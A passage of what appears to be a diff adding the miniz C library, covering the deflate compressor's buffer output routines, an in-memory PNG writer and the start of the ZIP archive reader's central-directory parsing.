succeeded = (tdefl_init(pComp, pPut_buf_func, pPut_buf_user, flags) == TDEFL_STATUS_OKAY); + succeeded = succeeded && (tdefl_compress_buffer(pComp, pBuf, buf_len, TDEFL_FINISH) == TDEFL_STATUS_DONE); + MZ_FREE(pComp); return succeeded; +} + +typedef struct +{ + size_t m_size, m_capacity; + mz_uint8 *m_pBuf; + mz_bool m_expandable; +} tdefl_output_buffer; + +static mz_bool tdefl_output_buffer_putter(const void *pBuf, int len, void *pUser) +{ + tdefl_output_buffer *p = (tdefl_output_buffer *)pUser; + size_t new_size = p->m_size + len; + if (new_size > p->m_capacity) + { + size_t new_capacity = p->m_capacity; mz_uint8 *pNew_buf; if (!p->m_expandable) return MZ_FALSE; + do { new_capacity = MZ_MAX(128U, new_capacity << 1U); } while (new_size > new_capacity); + pNew_buf = (mz_uint8*)MZ_REALLOC(p->m_pBuf, new_capacity); if (!pNew_buf) return MZ_FALSE; + p->m_pBuf = pNew_buf; p->m_capacity = new_capacity; + } + memcpy((mz_uint8*)p->m_pBuf + p->m_size, pBuf, len); p->m_size = new_size; + return MZ_TRUE; +} + +void *tdefl_compress_mem_to_heap(const void *pSrc_buf, size_t src_buf_len, size_t *pOut_len, int flags) +{ + tdefl_output_buffer out_buf; MZ_CLEAR_OBJ(out_buf); + if (!pOut_len) return MZ_FALSE; else *pOut_len = 0; + out_buf.m_expandable = MZ_TRUE; + if (!tdefl_compress_mem_to_output(pSrc_buf, src_buf_len, tdefl_output_buffer_putter, &out_buf, flags)) return NULL; + *pOut_len = out_buf.m_size; return out_buf.m_pBuf; +} + +size_t tdefl_compress_mem_to_mem(void *pOut_buf, size_t out_buf_len, const void *pSrc_buf, size_t src_buf_len, int flags) +{ + tdefl_output_buffer out_buf; MZ_CLEAR_OBJ(out_buf); + if (!pOut_buf) return 0; + out_buf.m_pBuf = (mz_uint8*)pOut_buf; out_buf.m_capacity = out_buf_len; + if (!tdefl_compress_mem_to_output(pSrc_buf, src_buf_len, tdefl_output_buffer_putter, &out_buf, flags)) return 0; + return out_buf.m_size; +} + +#ifndef MINIZ_NO_ZLIB_APIS +static const mz_uint s_tdefl_num_probes[11] = { 0, 1, 6, 32, 16, 32, 128, 256, 512, 768, 1500 }; + +// level may actually range from [0,10] (10 is a "hidden" max level, where we want a bit more compression and it's fine if throughput to fall off a cliff on some files). +mz_uint tdefl_create_comp_flags_from_zip_params(int level, int window_bits, int strategy) +{ + mz_uint comp_flags = s_tdefl_num_probes[(level >= 0) ? MZ_MIN(10, level) : MZ_DEFAULT_LEVEL] | ((level <= 3) ? TDEFL_GREEDY_PARSING_FLAG : 0); + if (window_bits > 0) comp_flags |= TDEFL_WRITE_ZLIB_HEADER; + + if (!level) comp_flags |= TDEFL_FORCE_ALL_RAW_BLOCKS; + else if (strategy == MZ_FILTERED) comp_flags |= TDEFL_FILTER_MATCHES; + else if (strategy == MZ_HUFFMAN_ONLY) comp_flags &= ~TDEFL_MAX_PROBES_MASK; + else if (strategy == MZ_FIXED) comp_flags |= TDEFL_FORCE_ALL_STATIC_BLOCKS; + else if (strategy == MZ_RLE) comp_flags |= TDEFL_RLE_MATCHES; + + return comp_flags; +} +#endif //MINIZ_NO_ZLIB_APIS + +#ifdef _MSC_VER +#pragma warning (push) +#pragma warning (disable:4204) // nonstandard extension used : non-constant aggregate initializer (also supported by GNU C and C99, so no big deal) +#endif + +// Simple PNG writer function by Alex Evans, 2011. Released into the public domain: https://gist.github.com/908299, more context at +// http://altdevblogaday.org/2011/04/06/a-smaller-jpg-encoder/. +// This is actually a modification of Alex's original code so PNG files generated by this function pass pngcheck. +void *tdefl_write_image_to_png_file_in_memory_ex(const void *pImage, int w, int h, int num_chans, size_t *pLen_out, mz_uint level, mz_bool flip) +{ + // Using a local copy of this array here in case MINIZ_NO_ZLIB_APIS was defined. + static const mz_uint s_tdefl_png_num_probes[11] = { 0, 1, 6, 32, 16, 32, 128, 256, 512, 768, 1500 }; + tdefl_compressor *pComp = (tdefl_compressor *)MZ_MALLOC(sizeof(tdefl_compressor)); tdefl_output_buffer out_buf; int i, bpl = w * num_chans, y, z; mz_uint32 c; *pLen_out = 0; + if (!pComp) return NULL; + MZ_CLEAR_OBJ(out_buf); out_buf.m_expandable = MZ_TRUE; out_buf.m_capacity = 57+MZ_MAX(64, (1+bpl)*h); if (NULL == (out_buf.m_pBuf = (mz_uint8*)MZ_MALLOC(out_buf.m_capacity))) { MZ_FREE(pComp); return NULL; } + // write dummy header + for (z = 41; z; --z) tdefl_output_buffer_putter(&z, 1, &out_buf); + // compress image data + tdefl_init(pComp, tdefl_output_buffer_putter, &out_buf, s_tdefl_png_num_probes[MZ_MIN(10, level)] | TDEFL_WRITE_ZLIB_HEADER); + for (y = 0; y < h; ++y) { tdefl_compress_buffer(pComp, &z, 1, TDEFL_NO_FLUSH); tdefl_compress_buffer(pComp, (mz_uint8*)pImage + (flip ? (h - 1 - y) : y) * bpl, bpl, TDEFL_NO_FLUSH); } + if (tdefl_compress_buffer(pComp, NULL, 0, TDEFL_FINISH) != TDEFL_STATUS_DONE) { MZ_FREE(pComp); MZ_FREE(out_buf.m_pBuf); return NULL; } + // write real header + *pLen_out = out_buf.m_size-41; + { + static const mz_uint8 chans[] = {0x00, 0x00, 0x04, 0x02, 0x06}; + mz_uint8 pnghdr[41]={0x89,0x50,0x4e,0x47,0x0d,0x0a,0x1a,0x0a,0x00,0x00,0x00,0x0d,0x49,0x48,0x44,0x52, + 0,0,(mz_uint8)(w>>8),(mz_uint8)w,0,0,(mz_uint8)(h>>8),(mz_uint8)h,8,chans[num_chans],0,0,0,0,0,0,0, + (mz_uint8)(*pLen_out>>24),(mz_uint8)(*pLen_out>>16),(mz_uint8)(*pLen_out>>8),(mz_uint8)*pLen_out,0x49,0x44,0x41,0x54}; + c=(mz_uint32)mz_crc32(MZ_CRC32_INIT,pnghdr+12,17); for (i=0; i<4; ++i, c<<=8) ((mz_uint8*)(pnghdr+29))[i]=(mz_uint8)(c>>24); + memcpy(out_buf.m_pBuf, pnghdr, 41); + } + // write footer (IDAT CRC-32, followed by IEND chunk) + if (!tdefl_output_buffer_putter("\0\0\0\0\0\0\0\0\x49\x45\x4e\x44\xae\x42\x60\x82", 16, &out_buf)) { *pLen_out = 0; MZ_FREE(pComp); MZ_FREE(out_buf.m_pBuf); return NULL; } + c = (mz_uint32)mz_crc32(MZ_CRC32_INIT,out_buf.m_pBuf+41-4, *pLen_out+4); for (i=0; i<4; ++i, c<<=8) (out_buf.m_pBuf+out_buf.m_size-16)[i] = (mz_uint8)(c >> 24); + // compute final size of file, grab compressed data buffer and return + *pLen_out += 57; MZ_FREE(pComp); return out_buf.m_pBuf; +} +void *tdefl_write_image_to_png_file_in_memory(const void *pImage, int w, int h, int num_chans, size_t *pLen_out) +{ + // Level 6 corresponds to TDEFL_DEFAULT_MAX_PROBES or MZ_DEFAULT_LEVEL (but we can't depend on MZ_DEFAULT_LEVEL being available in case the zlib API's where #defined out) + return tdefl_write_image_to_png_file_in_memory_ex(pImage, w, h, num_chans, pLen_out, 6, MZ_FALSE); +} + +#ifdef _MSC_VER +#pragma warning (pop) +#endif + +// ------------------- .ZIP archive reading + +#ifndef MINIZ_NO_ARCHIVE_APIS + +#ifdef MINIZ_NO_STDIO + #define MZ_FILE void * +#else + #include + #include + + #if defined(_MSC_VER) || defined(__MINGW64__) + static FILE *mz_fopen(const char *pFilename, const char *pMode) + { + FILE* pFile = NULL; + fopen_s(&pFile, pFilename, pMode); + return pFile; + } + static FILE *mz_freopen(const char *pPath, const char *pMode, FILE *pStream) + { + FILE* pFile = NULL; + if (freopen_s(&pFile, pPath, pMode, pStream)) + return NULL; + return pFile; + } + #ifndef MINIZ_NO_TIME + #include + #endif + #define MZ_FILE FILE + #define MZ_FOPEN mz_fopen + #define MZ_FCLOSE fclose + #define MZ_FREAD fread + #define MZ_FWRITE fwrite + #define MZ_FTELL64 ftell //_ftelli64 + #define MZ_FSEEK64 fseek //_fseeki64 + #define MZ_FILE_STAT_STRUCT _stat + #define MZ_FILE_STAT _stat + #define MZ_FFLUSH fflush + #define MZ_FREOPEN mz_freopen + #define MZ_DELETE_FILE remove + #elif defined(__MINGW32__) + #ifndef MINIZ_NO_TIME + #include + #endif + #define MZ_FILE FILE + #define MZ_FOPEN(f, m) fopen(f, m) + #define MZ_FCLOSE fclose + #define MZ_FREAD fread + #define MZ_FWRITE fwrite + #define MZ_FTELL64 ftello64 + #define MZ_FSEEK64 fseeko64 + #define MZ_FILE_STAT_STRUCT _stat + #define MZ_FILE_STAT _stat + #define MZ_FFLUSH fflush + #define MZ_FREOPEN(f, m, s) freopen(f, m, s) + #define MZ_DELETE_FILE remove + #elif defined(__TINYC__) + #ifndef MINIZ_NO_TIME + #include + #endif + #define MZ_FILE FILE + #define MZ_FOPEN(f, m) fopen(f, m) + #define MZ_FCLOSE fclose + #define MZ_FREAD fread + #define MZ_FWRITE fwrite + #define MZ_FTELL64 ftell + #define MZ_FSEEK64 fseek + #define MZ_FILE_STAT_STRUCT stat + #define MZ_FILE_STAT stat + #define MZ_FFLUSH fflush + #define MZ_FREOPEN(f, m, s) freopen(f, m, s) + #define MZ_DELETE_FILE remove + #elif defined(__GNUC__) && _LARGEFILE64_SOURCE + #ifndef MINIZ_NO_TIME + #include + #endif + #define MZ_FILE FILE + #define MZ_FOPEN(f, m) fopen64(f, m) + #define MZ_FCLOSE fclose + #define MZ_FREAD fread + #define MZ_FWRITE fwrite + #define MZ_FTELL64 ftello64 + #define MZ_FSEEK64 fseeko64 + #define MZ_FILE_STAT_STRUCT stat64 + #define MZ_FILE_STAT stat64 + #define MZ_FFLUSH fflush + #define MZ_FREOPEN(p, m, s) freopen64(p, m, s) + #define MZ_DELETE_FILE remove + #else + #ifndef MINIZ_NO_TIME + #include + #endif + #define MZ_FILE FILE + #define MZ_FOPEN(f, m) fopen(f, m) + #define MZ_FCLOSE fclose + #define MZ_FREAD fread + #define MZ_FWRITE fwrite + #define MZ_FTELL64 ftello + #define MZ_FSEEK64 fseeko + #define MZ_FILE_STAT_STRUCT stat + #define MZ_FILE_STAT stat + #define MZ_FFLUSH fflush + #define MZ_FREOPEN(f, m, s) freopen(f, m, s) + #define MZ_DELETE_FILE remove + #endif // #ifdef _MSC_VER +#endif // #ifdef MINIZ_NO_STDIO + +#define MZ_TOLOWER(c) ((((c) >= 'A') && ((c) <= 'Z')) ? ((c) - 'A' + 'a') : (c)) + +// Various ZIP archive enums. To completely avoid cross platform compiler alignment and platform endian issues, miniz.c doesn't use structs for any of this stuff. +enum +{ + // ZIP archive identifiers and record sizes + MZ_ZIP_END_OF_CENTRAL_DIR_HEADER_SIG = 0x06054b50, MZ_ZIP_CENTRAL_DIR_HEADER_SIG = 0x02014b50, MZ_ZIP_LOCAL_DIR_HEADER_SIG = 0x04034b50, + MZ_ZIP_LOCAL_DIR_HEADER_SIZE = 30, MZ_ZIP_CENTRAL_DIR_HEADER_SIZE = 46, MZ_ZIP_END_OF_CENTRAL_DIR_HEADER_SIZE = 22, + // Central directory header record offsets + MZ_ZIP_CDH_SIG_OFS = 0, MZ_ZIP_CDH_VERSION_MADE_BY_OFS = 4, MZ_ZIP_CDH_VERSION_NEEDED_OFS = 6, MZ_ZIP_CDH_BIT_FLAG_OFS = 8, + MZ_ZIP_CDH_METHOD_OFS = 10, MZ_ZIP_CDH_FILE_TIME_OFS = 12, MZ_ZIP_CDH_FILE_DATE_OFS = 14, MZ_ZIP_CDH_CRC32_OFS = 16, + MZ_ZIP_CDH_COMPRESSED_SIZE_OFS = 20, MZ_ZIP_CDH_DECOMPRESSED_SIZE_OFS = 24, MZ_ZIP_CDH_FILENAME_LEN_OFS = 28, MZ_ZIP_CDH_EXTRA_LEN_OFS = 30, + MZ_ZIP_CDH_COMMENT_LEN_OFS = 32, MZ_ZIP_CDH_DISK_START_OFS = 34, MZ_ZIP_CDH_INTERNAL_ATTR_OFS = 36, MZ_ZIP_CDH_EXTERNAL_ATTR_OFS = 38, MZ_ZIP_CDH_LOCAL_HEADER_OFS = 42, + // Local directory header offsets + MZ_ZIP_LDH_SIG_OFS = 0, MZ_ZIP_LDH_VERSION_NEEDED_OFS = 4, MZ_ZIP_LDH_BIT_FLAG_OFS = 6, MZ_ZIP_LDH_METHOD_OFS = 8, MZ_ZIP_LDH_FILE_TIME_OFS = 10, + MZ_ZIP_LDH_FILE_DATE_OFS = 12, MZ_ZIP_LDH_CRC32_OFS = 14, MZ_ZIP_LDH_COMPRESSED_SIZE_OFS = 18, MZ_ZIP_LDH_DECOMPRESSED_SIZE_OFS = 22, + MZ_ZIP_LDH_FILENAME_LEN_OFS = 26, MZ_ZIP_LDH_EXTRA_LEN_OFS = 28, + // End of central directory offsets + MZ_ZIP_ECDH_SIG_OFS = 0, MZ_ZIP_ECDH_NUM_THIS_DISK_OFS = 4, MZ_ZIP_ECDH_NUM_DISK_CDIR_OFS = 6, MZ_ZIP_ECDH_CDIR_NUM_ENTRIES_ON_DISK_OFS = 8, + MZ_ZIP_ECDH_CDIR_TOTAL_ENTRIES_OFS = 10, MZ_ZIP_ECDH_CDIR_SIZE_OFS = 12, MZ_ZIP_ECDH_CDIR_OFS_OFS = 16, MZ_ZIP_ECDH_COMMENT_SIZE_OFS = 20, +}; + +typedef struct +{ + void *m_p; + size_t m_size, m_capacity; + mz_uint m_element_size; +} mz_zip_array; + +struct mz_zip_internal_state_tag +{ + mz_zip_array m_central_dir; + mz_zip_array m_central_dir_offsets; + mz_zip_array m_sorted_central_dir_offsets; + MZ_FILE *m_pFile; + void *m_pMem; + size_t m_mem_size; + size_t m_mem_capacity; +}; + +#define MZ_ZIP_ARRAY_SET_ELEMENT_SIZE(array_ptr, element_size) (array_ptr)->m_element_size = element_size +#define MZ_ZIP_ARRAY_ELEMENT(array_ptr, element_type, index) ((element_type *)((array_ptr)->m_p))[index] + +static MZ_FORCEINLINE void mz_zip_array_clear(mz_zip_archive *pZip, mz_zip_array *pArray) +{ + pZip->m_pFree(pZip->m_pAlloc_opaque, pArray->m_p); + memset(pArray, 0, sizeof(mz_zip_array)); +} + +static mz_bool mz_zip_array_ensure_capacity(mz_zip_archive *pZip, mz_zip_array *pArray, size_t min_new_capacity, mz_uint growing) +{ + void *pNew_p; size_t new_capacity = min_new_capacity; MZ_ASSERT(pArray->m_element_size); if (pArray->m_capacity >= min_new_capacity) return MZ_TRUE; + if (growing) { new_capacity = MZ_MAX(1, pArray->m_capacity); while (new_capacity < min_new_capacity) new_capacity *= 2; } + if (NULL == (pNew_p = pZip->m_pRealloc(pZip->m_pAlloc_opaque, pArray->m_p, pArray->m_element_size, new_capacity))) return MZ_FALSE; + pArray->m_p = pNew_p; pArray->m_capacity = new_capacity; + return MZ_TRUE; +} + +static MZ_FORCEINLINE mz_bool mz_zip_array_reserve(mz_zip_archive *pZip, mz_zip_array *pArray, size_t new_capacity, mz_uint growing) +{ + if (new_capacity > pArray->m_capacity) { if (!mz_zip_array_ensure_capacity(pZip, pArray, new_capacity, growing)) return MZ_FALSE; } + return MZ_TRUE; +} + +static MZ_FORCEINLINE mz_bool mz_zip_array_resize(mz_zip_archive *pZip, mz_zip_array *pArray, size_t new_size, mz_uint growing) +{ + if (new_size > pArray->m_capacity) { if (!mz_zip_array_ensure_capacity(pZip, pArray, new_size, growing)) return MZ_FALSE; } + pArray->m_size = new_size; + return MZ_TRUE; +} + +static MZ_FORCEINLINE mz_bool mz_zip_array_ensure_room(mz_zip_archive *pZip, mz_zip_array *pArray, size_t n) +{ + return mz_zip_array_reserve(pZip, pArray, pArray->m_size + n, MZ_TRUE); +} + +static MZ_FORCEINLINE mz_bool mz_zip_array_push_back(mz_zip_archive *pZip, mz_zip_array *pArray, const void *pElements, size_t n) +{ + size_t orig_size = pArray->m_size; if (!mz_zip_array_resize(pZip, pArray, orig_size + n, MZ_TRUE)) return MZ_FALSE; + memcpy((mz_uint8*)pArray->m_p + orig_size * pArray->m_element_size, pElements, n * pArray->m_element_size); + return MZ_TRUE; +} + +#ifndef MINIZ_NO_TIME +static time_t mz_zip_dos_to_time_t(int dos_time, int dos_date) +{ + struct tm tm; + memset(&tm, 0, sizeof(tm)); tm.tm_isdst = -1; + tm.tm_year = ((dos_date >> 9) & 127) + 1980 - 1900; tm.tm_mon = ((dos_date >> 5) & 15) - 1; tm.tm_mday = dos_date & 31; + tm.tm_hour = (dos_time >> 11) & 31; tm.tm_min = (dos_time >> 5) & 63; tm.tm_sec = (dos_time << 1) & 62; + return mktime(&tm); +} + +static void mz_zip_time_to_dos_time(time_t time, mz_uint16 *pDOS_time, mz_uint16 *pDOS_date) +{ +#ifdef _MSC_VER + struct tm tm_struct; + struct tm *tm = &tm_struct; + errno_t err = localtime_s(tm, &time); + if (err) + { + *pDOS_date = 0; *pDOS_time = 0; + return; + } +#else + struct tm *tm = localtime(&time); +#endif + *pDOS_time = (mz_uint16)(((tm->tm_hour) << 11) + ((tm->tm_min) << 5) + ((tm->tm_sec) >> 1)); + *pDOS_date = (mz_uint16)(((tm->tm_year + 1900 - 1980) << 9) + ((tm->tm_mon + 1) << 5) + tm->tm_mday); +} +#endif + +#ifndef MINIZ_NO_STDIO +static mz_bool mz_zip_get_file_modified_time(const char *pFilename, mz_uint16 *pDOS_time, mz_uint16 *pDOS_date) +{ +#ifdef MINIZ_NO_TIME + (void)pFilename; *pDOS_date = *pDOS_time = 0; +#else + struct MZ_FILE_STAT_STRUCT file_stat; + // On Linux with x86 glibc, this call will fail on large files (>= 0x80000000 bytes) unless you compiled with _LARGEFILE64_SOURCE. Argh. + if (MZ_FILE_STAT(pFilename, &file_stat) != 0) + return MZ_FALSE; + mz_zip_time_to_dos_time(file_stat.st_mtime, pDOS_time, pDOS_date); +#endif // #ifdef MINIZ_NO_TIME + return MZ_TRUE; +} + +#ifndef MINIZ_NO_TIME +static mz_bool mz_zip_set_file_times(const char *pFilename, time_t access_time, time_t modified_time) +{ + struct utimbuf t; t.actime = access_time; t.modtime = modified_time; + return !utime(pFilename, &t); +} +#endif // #ifndef MINIZ_NO_TIME +#endif // #ifndef MINIZ_NO_STDIO + +static mz_bool mz_zip_reader_init_internal(mz_zip_archive *pZip, mz_uint32 flags) +{ + (void)flags; + if ((!pZip) || (pZip->m_pState) || (pZip->m_zip_mode != MZ_ZIP_MODE_INVALID)) + return MZ_FALSE; + + if (!pZip->m_pAlloc) pZip->m_pAlloc = def_alloc_func; + if (!pZip->m_pFree) pZip->m_pFree = def_free_func; + if (!pZip->m_pRealloc) pZip->m_pRealloc = def_realloc_func; + + pZip->m_zip_mode = MZ_ZIP_MODE_READING; + pZip->m_archive_size = 0; + pZip->m_central_directory_file_ofs = 0; + pZip->m_total_files = 0; + + if (NULL == (pZip->m_pState = (mz_zip_internal_state *)pZip->m_pAlloc(pZip->m_pAlloc_opaque, 1, sizeof(mz_zip_internal_state)))) + return MZ_FALSE; + memset(pZip->m_pState, 0, sizeof(mz_zip_internal_state)); + MZ_ZIP_ARRAY_SET_ELEMENT_SIZE(&pZip->m_pState->m_central_dir, sizeof(mz_uint8)); + MZ_ZIP_ARRAY_SET_ELEMENT_SIZE(&pZip->m_pState->m_central_dir_offsets, sizeof(mz_uint32)); + MZ_ZIP_ARRAY_SET_ELEMENT_SIZE(&pZip->m_pState->m_sorted_central_dir_offsets, sizeof(mz_uint32)); + return MZ_TRUE; +} + +static MZ_FORCEINLINE mz_bool mz_zip_reader_filename_less(const mz_zip_array *pCentral_dir_array, const mz_zip_array *pCentral_dir_offsets, mz_uint l_index, mz_uint r_index) +{ + const mz_uint8 *pL = &MZ_ZIP_ARRAY_ELEMENT(pCentral_dir_array, mz_uint8, MZ_ZIP_ARRAY_ELEMENT(pCentral_dir_offsets, mz_uint32, l_index)), *pE; + const mz_uint8 *pR = &MZ_ZIP_ARRAY_ELEMENT(pCentral_dir_array, mz_uint8, MZ_ZIP_ARRAY_ELEMENT(pCentral_dir_offsets, mz_uint32, r_index)); + mz_uint l_len = MZ_READ_LE16(pL + MZ_ZIP_CDH_FILENAME_LEN_OFS), r_len = MZ_READ_LE16(pR + MZ_ZIP_CDH_FILENAME_LEN_OFS); + mz_uint8 l = 0, r = 0; + pL += MZ_ZIP_CENTRAL_DIR_HEADER_SIZE; pR += MZ_ZIP_CENTRAL_DIR_HEADER_SIZE; + pE = pL + MZ_MIN(l_len, r_len); + while (pL < pE) + { + if ((l = MZ_TOLOWER(*pL)) != (r = MZ_TOLOWER(*pR))) + break; + pL++; pR++; + } + return (pL == pE) ? (l_len < r_len) : (l < r); +} + +#define MZ_SWAP_UINT32(a, b) do { mz_uint32 t = a; a = b; b = t; } MZ_MACRO_END + +// Heap sort of lowercased filenames, used to help accelerate plain central directory searches by mz_zip_reader_locate_file(). (Could also use qsort(), but it could allocate memory.) +static void mz_zip_reader_sort_central_dir_offsets_by_filename(mz_zip_archive *pZip) +{ + mz_zip_internal_state *pState = pZip->m_pState; + const mz_zip_array *pCentral_dir_offsets = &pState->m_central_dir_offsets; + const mz_zip_array *pCentral_dir = &pState->m_central_dir; + mz_uint32 *pIndices = &MZ_ZIP_ARRAY_ELEMENT(&pState->m_sorted_central_dir_offsets, mz_uint32, 0); + const int size = pZip->m_total_files; + int start = (size - 2) >> 1, end; + while (start >= 0) + { + int child, root = start; + for ( ; ; ) + { + if ((child = (root << 1) + 1) >= size) + break; + child += (((child + 1) < size) && (mz_zip_reader_filename_less(pCentral_dir, pCentral_dir_offsets, pIndices[child], pIndices[child + 1]))); + if (!mz_zip_reader_filename_less(pCentral_dir, pCentral_dir_offsets, pIndices[root], pIndices[child])) + break; + MZ_SWAP_UINT32(pIndices[root], pIndices[child]); root = child; + } + start--; + } + + end = size - 1; + while (end > 0) + { + int child, root = 0; + MZ_SWAP_UINT32(pIndices[end], pIndices[0]); + for ( ; ; ) + { + if ((child = (root << 1) + 1) >= end) + break; + child += (((child + 1) < end) && mz_zip_reader_filename_less(pCentral_dir, pCentral_dir_offsets, pIndices[child], pIndices[child + 1])); + if (!mz_zip_reader_filename_less(pCentral_dir, pCentral_dir_offsets, pIndices[root], pIndices[child])) + break; + MZ_SWAP_UINT32(pIndices[root], pIndices[child]); root = child; + } + end--; + } +} + +static mz_bool mz_zip_reader_read_central_dir(mz_zip_archive *pZip, mz_uint32 flags) +{ + mz_uint cdir_size, num_this_disk, cdir_disk_index; + mz_uint64 cdir_ofs; + mz_int64 cur_file_ofs; + const mz_uint8 *p; + mz_uint32 buf_u32[4096 / sizeof(mz_uint32)]; mz_uint8 *pBuf = (mz_uint8 *)buf_u32; + mz_bool sort_central_dir = ((flags & MZ_ZIP_FLAG_DO_NOT_SORT_CENTRAL_DIRECTORY) == 0); + // Basic sanity checks - reject files which are too small, and check the first 4 bytes of the file to make sure a local header is there. + if (pZip->m_archive_size < MZ_ZIP_END_OF_CENTRAL_DIR_HEADER_SIZE) + return MZ_FALSE; + // Find the end of central directory record by scanning the file from the end towards the beginning. + cur_file_ofs = MZ_MAX((mz_int64)pZip->m_archive_size - (mz_int64)sizeof(buf_u32), 0); + for ( ; ; ) + { + int i, n = (int)MZ_MIN(sizeof(buf_u32), pZip->m_archive_size - cur_file_ofs); + if (pZip->m_pRead(pZip->m_pIO_opaque, cur_file_ofs, pBuf, n) != (mz_uint)n) + return MZ_FALSE; + for (i = n - 4; i >= 0; --i) + if (MZ_READ_LE32(pBuf + i) == MZ_ZIP_END_OF_CENTRAL_DIR_HEADER_SIG) + break; + if (i >= 0) + { + cur_file_ofs += i; + break; + } + if ((!cur_file_ofs) || ((pZip->m_archive_size - cur_file_ofs) >= (0xFFFF + MZ_ZIP_END_OF_CENTRAL_DIR_HEADER_SIZE))) + return MZ_FALSE; + cur_file_ofs = MZ_MAX(cur_file_ofs - (sizeof(buf_u32) - 3), 0); + } + // Read and verify the end of central directory record. + if (pZip->m_pRead(pZip->m_pIO_opaque, cur_file_ofs, pBuf, MZ_ZIP_END_OF_CENTRAL_DIR_HEADER_SIZE) != MZ_ZIP_END_OF_CENTRAL_DIR_HEADER_SIZE) + return MZ_FALSE; + if ((MZ_READ_LE32(pBuf + MZ_ZIP_ECDH_SIG_OFS) != MZ_ZIP_END_OF_CENTRAL_DIR_HEADER_SIG) || + ((pZip->m_total_files = MZ_READ_LE16(pBuf + MZ_ZIP_ECDH_CDIR_TOTAL_ENTRIES_OFS)) != MZ_READ_LE16(pBuf + MZ_ZIP_ECDH_CDIR_NUM_ENTRIES_ON_DISK_OFS))) + return MZ_FALSE; + + num_this_disk = MZ_READ_LE16(pBuf + MZ_ZIP_ECDH_NUM_THIS_DISK_OFS); + cdir_disk_index = MZ_READ_LE16(pBuf + MZ_ZIP_ECDH_NUM_DISK_CDIR_OFS); + if (((num_this_disk | cdir_disk_index) != 0) && ((num_this_disk != 1) || (cdir_disk_index != 1))) + return MZ_FALSE; + + if ((cdir_size = MZ_READ_LE32(pBuf + MZ_ZIP_ECDH_CDIR_SIZE_OFS)) < pZip->m_total_files * MZ_ZIP_CENTRAL_DIR_HEADER_SIZE) + return MZ_FALSE; + + cdir_ofs = MZ_READ_LE32(pBuf + MZ_ZIP_ECDH_CDIR_OFS_OFS); + if ((cdir_ofs + (mz_uint64)cdir_size) > pZip->m_archive_size) + return MZ_FALSE; + + pZip->m_central_directory_file_ofs = cdir_ofs; + + if (pZip->m_total_files) + { + mz_uint i, n; + + // Read the entire central directory into a heap block, and allocate another heap block to hold the unsorted central dir file record offsets, and another to hold the sorted indices. + if ((!mz_zip_array_resize(pZip, &pZip->m_pState->m_central_dir, cdir_size, MZ_FALSE)) || + (!mz_zip_array_resize(pZip, &pZip->m_pState->m_central_dir_offsets, pZip->m_total_files, MZ_FALSE))) + return MZ_FALSE; + + if (sort_central_dir) + { + if (!mz_zip_array_resize(pZip, &pZip->m_pState->m_sorted_central_dir_offsets, pZip->m_total_files, MZ_FALSE)) + return MZ_FALSE; + } + + if (pZip->m_pRead(pZip->m_pIO_opaque, cdir_ofs, pZip->m_pState->m_central_dir.m_p, cdir_size) != cdir_size) + return MZ_FALSE; + + // Now create an index into the central directory file records, do some basic sanity checking on each record, and check for zip64 entries (which are not yet supported). + p = (const mz_uint8 *)pZip->m_pState->m_central_dir.m_p; + for (n = cdir_size, i = 0; i < pZip->m_total_files; ++i) + { + mz_uint total_header_size, comp_size, decomp_size, disk_index; + if ((n < MZ_ZIP_CENTRAL_DIR_HEADER_SIZE) || (MZ_READ_LE32(p) != MZ_ZIP_CENTRAL_DIR_HEADER_SIG)) + return MZ_FALSE; + MZ_ZIP_ARRAY_ELEMENT(&pZip->m_pState->m_central_dir_offsets, mz_uint32, i) = (mz_uint32)(p - (const mz_uint8 *)pZip->m_pState->m_central_dir.m_p); + if (sort_central_dir) + MZ_ZIP_ARRAY_ELEMENT(&pZip->m_pState->m_sorted_central_dir_offsets, mz_uint32, i) = i; + comp_size = MZ_READ_LE32(p + MZ_ZIP_CDH_COMPRESSED_SIZE_OFS); + decomp_size = MZ_READ_LE32(p + MZ_ZIP_CDH_DECOMPRESSED_SIZE_OFS); + if (((!MZ_READ_LE32(p + MZ_ZIP_CDH_METHOD_OFS)) && (decomp_size != comp_size)) || (decomp_size && !comp_size) || (decomp_size == 0xFFFFFFFF) || (comp_size == 0xFFFFFFFF)) + return MZ_FALSE; + disk_index = MZ_READ_LE16(p + MZ_ZIP_CDH_DISK_START_OFS); + if ((disk_index != num_this_disk) && (disk_index != 1)) + return MZ_FALSE; + if (((mz_uint64)MZ_READ_LE32(p + MZ_ZIP_CDH_LOCAL_HEADER_OFS) + MZ_ZIP_LOCAL_DIR_HEADER_SIZE + comp_size) > pZip->m_archive_size) + return MZ_FALSE; + if ((total_header_size = MZ_ZIP_CENTRAL_DIR_HEADER_SIZE + MZ_READ_LE16(p + MZ_ZIP_CDH_FILENAME_LEN_OFS) + MZ_READ_LE16(p + MZ_ZIP_CDH_EXTRA_LEN_OFS) + MZ_READ_LE16(p + MZ_ZIP_CDH_COMMENT_LEN_OFS)) > n) + return MZ_FALSE; + n -= total_header_size; p += total_header_size; + } + } + + if (sort_central_dir) + mz_zip_reader_sort_central_dir_offsets_by_filename(pZip); + + return MZ_TRUE; +} + +mz_bool mz_zip_reader_init(mz_zip_archive *pZip, mz_uint64 size, mz_uint32 flags) +{ + if ((!pZip) || (!pZip->m_pRead)) + return MZ_FALSE; + if (!mz_zip_reader_init_internal(pZip, flags)) + return MZ_FALSE; + pZip->m_archive_size = size; + if (!mz_zip_reader_read_central_dir(pZip, flags)) + { + mz_zip_reader_end(pZip); + return MZ_FALSE; + } + return MZ_TRUE; +} + +static size_t mz_zip_mem_read_func(void *pOpaque, mz_uint64 file_ofs, void *pBuf, size_t n) +{ + mz_zip_archive *pZip = (mz_zip_archive *)pOpaque; + size_t s = (file_ofs >= pZip->m_archive_size) ? 0 : (size_t)MZ_MIN(pZip->m_archive_size - file_ofs, n); + memcpy(pBuf, (const mz_uint8 *)pZip->m_pState->m_pMem + file_ofs, s); + return s; +} + +mz_bool mz_zip_reader_init_mem(mz_zip_archive *pZip, const void *pMem, size_t size, mz_uint32 flags) +{ + if (!mz_zip_reader_init_internal(pZip, flags)) + return MZ_FALSE; + pZip->m_archive_size = size; + pZip->m_pRead = mz_zip_mem_read_func; + pZip->m_pIO_opaque = pZip; +#ifdef __cplusplus + pZip->m_pState->m_pMem = const_cast(pMem); +#else + pZip->m_pState->m_pMem = (void *)pMem; +#endif + pZip->m_pState->m_mem_size = size; + if (!mz_zip_reader_read_central_dir(pZip, flags)) + { + mz_zip_reader_end(pZip); + return MZ_FALSE; + } + return MZ_TRUE; +} + +#ifndef MINIZ_NO_STDIO +static size_t mz_zip_file_read_func(void 